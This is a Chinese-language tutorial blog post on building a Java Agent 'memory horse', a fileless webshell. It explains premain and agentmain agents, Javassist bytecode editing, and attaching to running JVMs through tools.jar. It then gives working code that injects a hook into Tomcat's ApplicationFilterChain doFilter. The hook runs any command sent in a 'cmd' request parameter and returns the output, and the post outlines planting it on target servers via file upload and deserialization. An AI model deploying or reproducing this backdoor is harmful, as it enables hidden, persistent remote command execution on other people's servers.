JavaAgent Memory Horse
前置知识
JavaAgent出现得概念是在JDK1.5开始,相关类都在java.lang.instrument
包中。
提供允许 Java 编程语言代理检测在 JVM 上运行的程序的服务。检测机制是修改方法的字节码——官方解释。
对于javaagent代理得利用有两种方式:
启动时注入
一种是在程序启动时使用命令启动,—javaagent:xxx.jar[=aptions]
代理 JAR 文件的清单必须Premain-Class
在其主清单中包含该属性。该属性的值是代理类的名称。premain
代理类必须实现一个原则上类似于main
应用程序入口点的公共静态方法。在 Java 虚拟机 (JVM) 初始化后,premain
将调用该方法,然后调用真正的应用程序main
方法。该premain
方法必须返回才能继续启动。
该premain
方法具有两个可能的签名之一。JVM 首先尝试在代理类上调用以下方法:
public static void premain(String agentArgs, Instrumentation inst)
如果代理类未实现此方法,则 JVM 将尝试调用:
public static void premain(String agentArgs)
很多得汉化软件就是用得Javaagent技术。
简单得实现一下吧
启动注入demo
首先创建一个JavaAgentTest,内部需要又premain方法,其实可以从名字就能看出是在main方法之前执行得。
package com.y2an0;
import java.lang.instrument.Instrumentation;
public class JavaAgentTest {
public static void premain(String agentArgs, Instrumentation inst){
System.out.println("start");
System.out.println(agentArgs);
}
}
然后我们需要创建一个Main.mf用来打包成jar,其中需要又Premain-class属性。
Manifest-Version: 1.0
Premain-Class: com.y2an0.JavaAgentTest
接下来我们在创建一个常规测试demo
package com.y2an0;
public class Test {
public static void main(String[] args) {
System.out.println("Hello world");
}
}
就简单打印一下hello world。同样也需要一个MF文件,如下
Manifest-Version: 1.0
Main-Class: com.y2an0.Test
接下来就是打包了,使用命令:
jar cvfm Test.jar Test.mf Test.class
生成两个jar包,Test.jar和agent.jar
然后我们运行命令java -javaagent:agent.jar=args -jar Test.jar
需要注意得是运行注入-javaagent参数需要在-jar参数之前。
结果如下:
可以看到我们输入得参数args也打印出来了,所以基本上对整个程序得运行就很明了了噻。
字节码增强
Javasist是一款日本人开发得用于字节码操作的工具包,虽然反射也能在运行时操作字节码,但是只限于操作,不能修改,所以如果需要修改字节码,就需要Javasist来操作,当然还有其他的工具也有一样的功能。
javasist整体使用还是比较简单的,这里我们只是讲一下他的使用,不会做更加详细的讲解。为了看到效果,我们可以先创建一个测试类Test。
package com.y2an0;
public class Test {
public static void main(String[] args) {
System.out.println("Hello world");
}
public void JavaByte(){
System.out.println("Java Byte");
}
}
//老演员了
然后我们再创建一个用于修改java字节码的类JavaByteTest
package com.y2an0.javaByte;
import com.y2an0.Test;
import javassist.*;
import java.io.IOException;
public class JavaByteTest {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException {
ClassPool classPool=ClassPool.getDefault();
CtClass clz=classPool.get("com.y2an0.Test");
CtMethod method=clz.getDeclaredMethod("JavaByte");
System.out.println("JavaByte Code Test");
method.insertBefore("System.out.println(\"JavaByte Code Before\");");
method.insertAfter("System.out.println(\"JavaByte Code After\");");
clz.writeFile();//保存到文件
Test o = (Test) clz.toClass().newInstance();
o.JavaByte();
}
}
其实可以看到很多地方和反射是类似的。
//运行结果
JavaByte Code Test
JavaByte Code Before
Java Byte
JavaByte Code After
Process finished with exit code 0
可以看到保存的class文件确实已经把相应的语句添加进去了。
动态修改字节码
使用agent动态修改字节码其实也是在程序运行前,因为在程序运行前是将多有相关的代码编译成了class文件,执行的时候将class文件引入jvm内存,所以我们只要能够修改字节码就能完成一些如注册破解,汉化等操作在不破坏原来的jar包的前提下。
在前面我们看到了premain(String agentArgs, Instrumentation inst)
除了包含了传进来的变量外,还有一个Instrumentation对象,至于这个对象的含义我们接下来慢慢看。
可以看到这里面有很多的方法,我们只看几个常用。
部分参考:http://wjlshare.com/archives/1582
public interface Instrumentation {
//添加一个类文件转换器
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
//同上,只是少了一个被转换的类能否可以再次被转换
void addTransformer(ClassFileTransformer transformer);
//移除类文件转换器
boolean removeTransformer(ClassFileTransformer transformer);
//确定一个类是否可以被转换或者重新修改
boolean isModifiableClass(Class<?> theClass);
//返回当前JVM加载的所有类数组
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
}
动态修改字节码demo
其实这里的话暂时只给搭建看一下addTransformer()的用法,其他的都挺简单的,大家可以自行尝试。
首先我们还是用我们的老演员了Test类
package com.y2an0.learn;
public class Test {
public void JavaByte(){
System.out.println("Java Byte");
}
}
//下面这个类主要时调用Test
package com.y2an0.learn;
public class App
{
public static void main( String[] args )
{
System.out.println( "App Test" );
System.out.println("Start execute Test's JavaByte");
Test test=new Test();
test.JavaByte();
}
}
然后就是premain()方法了,这里我们直接new一个ClassFileTransformer对象
package com.y2an0;
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class JavaAgentTest {
public static final String target="com.y2an0.Tests";
public static void premain(String args, Instrumentation ist){
ist.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className=className.replace("/",".");
if (className.equals(target)){
System.out.println(className);
ClassPool classPool=ClassPool.getDefault();
try {
System.out.println("getClass");
CtClass ctClass = classPool.getCtClass(className);
System.out.println("getMethod");
CtMethod javaByte = ctClass.getDeclaredMethod("JavaByte");
javaByte.insertAfter("System.out.println(\"JavaByte Code After\");");
byte[] bytes = ctClass.toBytecode();
//需要把这个CtClass从ClassPool中去除
ctClass.detach();
return bytes;
} catch (NotFoundException e) {
System.out.println("NotFoundException:"+e.getMessage());
} catch (CannotCompileException e) {
System.out.println("CannotCompileException:"+e.getMessage());
} catch (IOException e) {
System.out.println("IOException:"+e.getMessage());
}
}
return classfileBuffer;
}
});
}
}
接下来就是打包成jar包了,对于含有main方法的项目很好打包,但是如果是premain这类的最好是使用自动化打包,方便快捷。
感兴趣的可以看看这篇博客,这里就不做详细说明了:https://www.jianshu.com/p/0d85d0539b1a
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>utf-8</encoding>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<!-- <Main-Class>com.y2an0.App</Main-Class>-->
</manifest>
<manifestEntries>
<Premain-Class>com.y2an0.JavaAgentTest</Premain-Class>
<!-- <Agent-Class>com.y2an0.JavaAgentTest</Agent-Class>-->
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix>
</manifestEntries>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
打包的话可以用这个,亲测有效,但是需要在引入
<dependency>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<type>maven-plugin</type>
</dependency>
以上是在JDK8实现的,在JDK11时会报错。
动态代理
premain是从jdk1.5开始的,但是此种代理有缺点就是需要在启动时一起运行,但是像一些内存马之内的我们需要的是在程序已经运行后代理,所以还有一个agentmain就是在程序运行中可以动态代理的。
实现可以提供一种机制来在 VM 启动后的某个时间启动代理。关于如何启动的细节是特定于实现的,但通常应用程序已经启动并且它的main
方法已经被调用。如果实现支持在 VM 启动后启动代理,则适用以下情况:
- 代理 JAR 的清单必须
Agent-Class
在其主要清单中包含该属性。该属性的值是代理类的名称。 - 代理类必须实现公共静态
agentmain
方法。
该agentmain
方法具有两个可能的签名之一。JVM 首先尝试在代理类上调用以下方法:
public static void agentmain(String agentArgs, Instrumentation inst)
如果代理类未实现此方法,则 JVM 将尝试调用:
public static void agentmain(String agentArgs)
premain
当使用命令行选项启动代理时,代理类也可能有一个使用方法。在 VM 启动后启动代理时,premain
不会调用该方法。
代理通过agentArgs
参数传递其代理选项。代理选项作为单个字符串传递,任何额外的解析都应该由代理自己执行。
该agentmain
方法应该执行启动代理所需的任何必要初始化。启动完成后,该方法应返回。如果无法启动代理(例如,因为无法加载代理类,或者因为代理类没有符合的 agentmain
方法),则 JVM 不会中止。如果该agentmain
方法抛出未捕获的异常,它将被忽略(但可能会被 JVM 记录以进行故障排除)。
综上所述,其实agentmain和premain使用是一致的,但是因为我们需要在jvm运行中加载进去,所以除了agentamin的实现同时还需要加载到jvm线程当中去。
在tools.jar包中就存在相关的类文件。
如果需要自己导入的话使用的是maven格式那么可以像这样
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<scope>system</scope>
<systemPath>D:/tools/cmder/base/java18/lib/tools.jar</systemPath>//跟自己的路径就可以了
</dependency>
主要的两个类如下图VirtualMachine
和VirtualMachineDescriptor
VirtualMachine
VirtualMachine主要是获取虚拟机运行的内部信息(运行的类啥啥的),其中包括了内存的Dump,线程的dump。
Attach方法:其实就是通过传入的ID来找到对应的虚拟机并远程连接
VirtualMachine virtualMachine=VirtualMachine.attach("id");//id为我们传入的ID
detach方法:就是断开连接可以这样理解。
virtualMachine.detach();
list方法:获取所有的虚拟机列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
loadAgent方法:将agent的jar包注入到虚拟机中
virtualMachine.loadAgent("xxxagent.jar");
VirtualMachineDescriptor
他其实就是一个描述虚拟机的容器类。根据上面的list()方法我们能看出虚拟机的属性基本就是由他来描述的。
VirtualMachine是如何将agent.jar注入到虚拟机中的,其实整个流程还是蛮简单的,首先是VirtualMachine.attach()利用pid连接到Java进程,然后使用loadAgent将agent注入到Java进程中,因为存在agentamin,所以会被执行,从而执行我们在agentmain中实现的方法。
具体流程图,我借用木头师傅借用奶思师傅的图片
有前面的说明看这张图基本就一目了然了。
至于agent.jar这里就不多说了,和premain是一样得写法,只是我们需要在addTransformer后retransformClasses(),以保证我们修改后得类重新加载到jvm虚拟机中。
inst.addTransformer(new ClassFileTransformer(),true);
// 获取所有已加载的类
Class[] classes = inst.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(target)){
try{
// 对类进行重新定义
inst.retransformClasses(clas);
} catch (Exception e){
e.printStackTrace();
}
}
}
agentmain是需要我们使用VritualMachine注入到Java线程中得,具体使用我们看下面得代码
public class VirtualMachineTest {
public static void main(String[] args) {
String path="agent-jar-with-dependencies.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
if (v.displayName().contains("App")){//匹配对应得Java进程
System.out.println(v.displayName()+"===>pid:"+v.id());
try {
VirtualMachine attach = VirtualMachine.attach(v.id());//连接到虚拟机
attach.loadAgent(path);//向虚拟机中加载agent.jar
attach.detach();//退出连接
} catch (AttachNotSupportedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (AgentLoadException e) {
e.printStackTrace();
} catch (AgentInitializationException e) {
e.printStackTrace();
}
}
}
}
}
我们可以用jps
查看所有Java进程pid
ClassLoader加载tools
因为在正常虚拟机启动时是不会挂在tools.jar,所以我们需要使用classloader挂载,因为这在内存马生成过程中是需要通过反序列化执行代码然后将agent注入到我们得目标程序。
ClassLoader得使用我们直接看代码。
package com.y2an0.VirtualTest;
public class ClassLoaderVirtualMachine {
public static void main(String[] args) {
ClassLoaderUse();
}
public static void ClassLoaderUse(){
//目标类全限定类名
java.lang.String target="";
//存在于目标服务器上的agent.jar目录
java.lang.String agentPath="";
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
try {
System.out.println(toolsPath.toURI().toURL());
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader=new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> customerVirtual=classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> customerVirtualDescriptor=classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod=customerVirtual.getDeclaredMethod("list",null);
java.util.List<Object> listVm=(java.util.List<Object>) listMethod.invoke(customerVirtual,null);
for (int i=0;i<listVm.size();i++){
Object o=listVm.get(i);
java.lang.reflect.Method displayMethod=customerVirtualDescriptor.getDeclaredMethod("displayName",null);
String name= (String) displayMethod.invoke(o,null);
if (name.equals(target)){
java.lang.reflect.Method getId=customerVirtualDescriptor.getDeclaredMethod("id",null);
String id= (String) getId.invoke(o,null);
java.lang.reflect.Method attach=customerVirtual.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object attachObj=attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent=customerVirtual.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(attachObj,new Object[]{agentPath});
java.lang.reflect.Method detach=customerVirtual.getDeclaredMethod("detach",null);
detach.invoke(attachObj,null);
break;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
在代码中我们尽量使用全限定类名,减少类的引入,同时还能保证程序可以稳定运行。
Java Agent内存马
为了实现内存马,我们基本使用最多的就是filter型内存马,这个和普通的filter内存马最大的区别个人感觉除了难以查杀同时存活时间也是最长。
目前网上的大量filter内存马都时在org.apache.catalina.core.ApplicationFilterChain#doFilter
处进行处理的,我们看下源码把
所以我们就可以直接修改doFilter方法中的代码,然我们的代码在执行完我们的程序后直接internalDoFIlter()
就可以了。所以整体思路还是很清晰的。
位置我们找到了,接下来就是代码的编写了
package com.y2an0.DynamicTest;
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class DynamicDemo {
public static final String target="org.apache.catalina.core.ApplicationFilterChain";
public static final String MethodName="doFilter";
public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException, ClassNotFoundException {
inst.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className=className.replace("/",".");
if (target.equals(className)) {
ClassPool classPool=ClassPool.getDefault();
try {
CtClass ctClass = classPool.getCtClass(className);
System.out.println("====================");
System.out.println("className:"+ctClass.getName());
CtMethod javaByte = ctClass.getDeclaredMethod(MethodName);
System.out.println("MethodName:"+javaByte.getName());
javaByte.insertBefore("java.lang.String used = (java.lang.String)request.getAttribute(\"used\");\n" +
"if (used==null||\"\".equals(used)){\n" +
" java.lang.String cmd=request.getParameter(\"cmd\");\n" +
" if (!\"\".equals(cmd)&&cmd!=null){\n" +
" java.lang.Process process= null;\n" +
" try {\n" +
" process = java.lang.Runtime.getRuntime().exec(cmd);\n" +
" byte[] buf = new byte[1024];\n" +
" java.io.InputStream inputStream = process.getInputStream();\n" +
" int len=0;\n" +
" int index=0;\n" +
" while ((len= inputStream.read(buf))>0){\n" +
" System.out.println(new String(buf, index, len));\n" +
" request.setAttribute(\"used\",new java.lang.String[]{\"used\"});\n" +
" response.getWriter().println(new String(buf, index, len));\n" +
" index+=len;\n" +
" }\n" +
" java.lang.System.out.println(\"执行了命令了\");\n" +
" process.destroy();\n" +
" internalDoFilter(request,response);//直接从这就走了\n" +
" } catch (Exception e) {}\n" +
" internalDoFilter(request,response);\n" +
" }\n" +
"}");
System.out.println("insert finished!");
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
System.out.println("detach");
return bytes;
} catch (Exception e) {
System.out.println("+++++++++++++++++");
System.out.println(e.getMessage());
System.out.println("+++++++++++++++++");
}
}
return classfileBuffer;
}
},true);
// 获取所有已加载的类
Class[] classes = inst.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(target)){
try{
// 对类进行重新定义
inst.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
这里我们添加的代码如下:
java.lang.String cmd=request.getParameter("cmd");
if (!"".equals(cmd)&&cmd!=null){
java.lang.Process process= null;
try {
process = java.lang.Runtime.getRuntime().exec(cmd);
byte[] buf = new byte[1024];
java.io.InputStream inputStream = process.getInputStream();
int len=0;
int index=0;
while ((len= inputStream.read(buf))>0){
System.out.println(new String(buf, index, len));
request.setAttribute("used",new java.lang.String[]{"used"});
response.getWriter().println(new String(buf, index, len));
index+=len;
}
java.lang.System.out.println("执行了命令了");
process.destroy();
internalDoFilter(request,response);//直接从这就走了
} catch (Exception e) {}
internalDoFilter(request,response);
}
至于代码中为何要用全限定类名前面也说过了。
然后结合ClassLoader加载tools的代码就能完成了。
我们这里就本地执行ClassLoader加载程序,反序列化各位可以自己搞搞,没啥难度。
整个流程分为两步:
- 上传我们的agent.jar到目标服务器(方式很多,能反序列化我们也能远程下载)
- 利用反序列化执行ClassLoader加载tools.jar,从而将agent.jar注入到目标进程中
到这里其实就差不多了,后面如何反序列化我们的代码,这里就不作讲解了。
注意
- JDK版本三个需要保持一致:目标网站JDK、Agent代理打包用的JDK、Tools挂载使用JDK(我这里都是用的是JDK8)
- JDK8版本的javasist需要使用的
3.21.0-GA
这一个版本大于等于(踩坑)
思考
- agent内存马相对于Filter内存马更加不容易检测(但是感觉是假的,只要能操作字节码,在ASM面前啥都是弟弟)。这里送一个大佬写的内存马检测修复工具:https://github.com/4ra1n/FindShell。
- agent内存马注入的时候是有风险的,因为很多时候容易因为内存不足将网站打死。
- agent内存马注入后,agent.jar是删除不掉的,所以还是会留下很多的问题。
总结
还是用Filter这些内存马更舒服,虽然代码量会多一点,逻辑强一点,但是总的来说依赖是最小的,不需要上传文件,文件的上传很大可能会被监控。
结束!Bye!